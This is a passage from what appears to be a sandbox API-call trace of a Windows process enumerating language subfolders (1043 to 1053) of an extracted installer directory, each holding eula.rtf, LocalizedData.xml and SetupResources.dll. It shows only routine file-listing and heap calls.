ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0063.347] FindNextFileW (in: hFindFile=0x583248, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x318f, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0063.347] FindNextFileW (in: hFindFile=0x583248, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xfed6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0063.348] FindNextFileW (in: hFindFile=0x583248, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0063.348] FindNextFileW (in: hFindFile=0x583248, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0063.348] FindClose (in: hFindFile=0x583248 | out: hFindFile=0x583248) returned 1 [0063.348] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0063.348] FindNextFileW (in: hFindFile=0x5831c8, lpFindFileData=0x34dfa7c | out: lpFindFileData=0x34dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1043", cAlternateFileName="")) returned 1 [0063.348] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xfffe) returned 0x3d70938 [0063.348] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1043\\*", lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x583108 [0063.348] FindNextFileW (in: hFindFile=0x583108, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0063.348] FindNextFileW (in: hFindFile=0x583108, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xdda, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0063.348] FindNextFileW (in: hFindFile=0x583108, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13712, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0063.349] FindNextFileW (in: hFindFile=0x583108, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0063.349] FindNextFileW (in: hFindFile=0x583108, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0063.349] FindClose (in: hFindFile=0x583108 | out: hFindFile=0x583108) returned 1 [0063.349] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0063.349] FindNextFileW (in: hFindFile=0x5831c8, lpFindFileData=0x34dfa7c | out: lpFindFileData=0x34dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1044", cAlternateFileName="")) returned 1 [0063.349] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xfffe) returned 0x3d70938 [0063.349] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1044\\*", lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x582f48 [0063.350] FindNextFileW (in: hFindFile=0x582f48, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0063.350] FindNextFileW (in: hFindFile=0x582f48, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xbe6, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0063.350] FindNextFileW (in: hFindFile=0x582f48, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x135c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0063.350] FindNextFileW (in: hFindFile=0x582f48, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0063.350] FindNextFileW (in: hFindFile=0x582f48, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0063.350] FindClose (in: hFindFile=0x582f48 | out: hFindFile=0x582f48) returned 1 [0063.350] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0063.350] FindNextFileW (in: hFindFile=0x5831c8, lpFindFileData=0x34dfa7c | out: lpFindFileData=0x34dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1045", cAlternateFileName="")) returned 1 [0063.350] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xfffe) returned 0x3d70938 [0063.350] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1045\\*", lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x583108 [0063.351] FindNextFileW (in: hFindFile=0x583108, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0063.351] FindNextFileW (in: hFindFile=0x583108, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xfc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0063.351] FindNextFileW (in: hFindFile=0x583108, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x141c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0063.351] FindNextFileW (in: hFindFile=0x583108, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0063.351] FindNextFileW (in: hFindFile=0x583108, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0063.351] FindClose (in: hFindFile=0x583108 | out: hFindFile=0x583108) returned 1 [0063.352] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0063.352] FindNextFileW (in: hFindFile=0x5831c8, lpFindFileData=0x34dfa7c | out: lpFindFileData=0x34dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1046", cAlternateFileName="")) returned 1 [0063.352] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xfffe) returned 0x3d70938 [0063.352] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1046\\*", lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x583108 [0063.352] FindNextFileW (in: hFindFile=0x583108, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0063.352] FindNextFileW (in: hFindFile=0x583108, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xe63, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0063.353] FindNextFileW (in: hFindFile=0x583108, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13b62, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0063.353] FindNextFileW (in: hFindFile=0x583108, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0063.353] FindNextFileW (in: hFindFile=0x583108, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0063.353] FindClose (in: hFindFile=0x583108 | out: hFindFile=0x583108) returned 1 [0063.353] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0063.353] FindNextFileW (in: hFindFile=0x5831c8, lpFindFileData=0x34dfa7c | out: lpFindFileData=0x34dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1049", cAlternateFileName="")) returned 1 [0063.353] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xfffe) returned 0x3d70938 [0063.353] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1049\\*", lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x583248 [0063.353] FindNextFileW (in: hFindFile=0x583248, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0063.353] FindNextFileW (in: hFindFile=0x583248, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xd4b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0063.353] FindNextFileW (in: hFindFile=0x583248, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13e4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0063.354] FindNextFileW (in: hFindFile=0x583248, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0063.354] FindNextFileW (in: hFindFile=0x583248, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0063.354] FindClose (in: hFindFile=0x583248 | out: hFindFile=0x583248) returned 1 [0063.354] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0063.354] FindNextFileW (in: hFindFile=0x5831c8, lpFindFileData=0x34dfa7c | out: lpFindFileData=0x34dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1053", cAlternateFileName="")) returned 1 [0063.354] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xfffe) returned 0x3d70938 [0063.354] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1053\\*", lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x582b88 [0063.355] FindNextFileW (in: hFindFile=0x582b88, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0063.355] FindNextFileW (in: hFindFile=0x582b88, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xf19, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0063.355] FindNextFileW (in: hFindFile=0x582b88, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, 